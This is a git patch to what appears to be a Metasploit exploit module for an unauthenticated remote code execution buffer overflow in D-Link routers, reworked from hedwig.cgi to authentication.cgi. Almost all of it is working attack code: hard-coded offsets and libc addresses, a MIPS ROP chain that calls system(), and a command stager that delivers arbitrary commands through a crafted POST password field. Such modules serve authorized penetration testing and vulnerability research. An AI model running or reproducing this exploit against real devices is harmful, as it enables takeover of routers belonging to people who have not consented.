From e908b7bc25846831b1ff9057daccffee848684a1 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 17 Jun 2014 08:49:46 +0200 Subject: [PATCH] renamed and other module removed --- ..._system.rb => dlink_authentication_rop.rb} | 72 +++++++++++-------- ..._system_echo.rb => dlink_hedwigcgi_rop.rb} | 0 2 files changed, 42 insertions(+), 30 deletions(-) rename modules/exploits/linux/http/{dlink_hedwigcgi_rop_system.rb => dlink_authentication_rop.rb} (68%) rename modules/exploits/linux/http/{dlink_hedwigcgi_rop_system_echo.rb => dlink_hedwigcgi_rop.rb} (100%) diff --git a/modules/exploits/linux/http/dlink_hedwigcgi_rop_system.rb b/modules/exploits/linux/http/dlink_authentication_rop.rb similarity index 68% rename from modules/exploits/linux/http/dlink_hedwigcgi_rop_system.rb rename to modules/exploits/linux/http/dlink_authentication_rop.rb index 9e5fded7a6..de33e9c1ee 100644 --- a/modules/exploits/linux/http/dlink_hedwigcgi_rop_system.rb +++ b/modules/exploits/linux/http/dlink_authentication_rop.rb @@ -6,32 +6,34 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it + Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', + 'Name' => 'D-Link authentication.cgi Buffer Overflow', 'Description' => %q{ This module exploits an anonymous remote code execution vulnerability on different D-Link routers. - This module has been tested successfully on D-Link DIR300-v2.14, DIR600 and DIR645A1_FW103B11. + This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the + DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated + environment. They are a little bit different in the first ROP gadget. }, 'Author' => [ 'Roberto Paleari', # Vulnerability discovery - 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module 'Michael Messner ', # Metasploit module and verification on different other routers ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' }, + 'Arch' => ARCH_MIPSLE, 'References' => [ - [ 'OSVDB', '95950' ], + [ 'OSVDB', '95951' ], [ 'EDB', '27283' ], [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router @@ -39,9 +41,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Targets' => [ - [ 'D-Link DIR-645 v1.03 - start telnetd', + [ 'D-Link DIR-645 1.03', { - 'Offset' => 973, + 'Offset' => 1011, 'LibcBase' => 0x2aaf8000, #Router #'LibcBase' => 0x40854000, # QEMU environment 'System' => 0x000531FF, # address of system @@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check begin res = send_request_cgi({ - 'uri' => "/hedwig.cgi", + 'uri' => "/authentication.cgi", 'method' => 'GET' }) @@ -72,16 +74,20 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - lport = datastore['LPORT'] - cmd = "/usr/sbin/telnetd -p #{lport}" - print_status("#{peer} - Trying to access the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") end - # prepare our shellcode that triggers the crash: + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :linemax => 200, + :concator => "&&" + ) + end + + def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 @@ -90,9 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 # .text:000159D0 21 28 60 02 move $a1, $s3 # not used # .text:000159D4 21 30 20 02 move $a2, $s1 # not used - # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system - # .text:000159DC 09 F8 20 03 jalr $t9 # call system - # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) @@ -103,20 +109,26 @@ class Metasploit3 < Msf::Exploit::Remote shellcode << rand_text_alpha_upper(16) # filler in front of our command shellcode << cmd + end - # now lets rock it ... + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) - print_status("#{peer} - Sending exploit ...") - - res = send_request_cgi({ - 'method' => 'POST', - #'uri' => "/hedwig_gdb.cgi", #for debugging on the router - 'uri' => "/hedwig.cgi", - 'cookie' => "uid=#{shellcode}", - 'encode_params' => false, - 'vars_post' => { - 'test' => 'test', - } - }) + begin + res = send_request_cgi({ + 'method' => 'POST', + #'uri' => "/authentication_gdb.cgi", #for debugging on the router + 'uri' => "/authentication.cgi", + 'cookie' => "uid=test", + 'encode_params' => false, + 'vars_post' => { + 'uid' => 'test', + 'password' => 'asd' << shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end end end diff --git a/modules/exploits/linux/http/dlink_hedwigcgi_rop_system_echo.rb b/modules/exploits/linux/http/dlink_hedwigcgi_rop.rb similarity index 100% rename from modules/exploits/linux/http/dlink_hedwigcgi_rop_system_echo.rb rename to modules/exploits/linux/http/dlink_hedwigcgi_rop.rb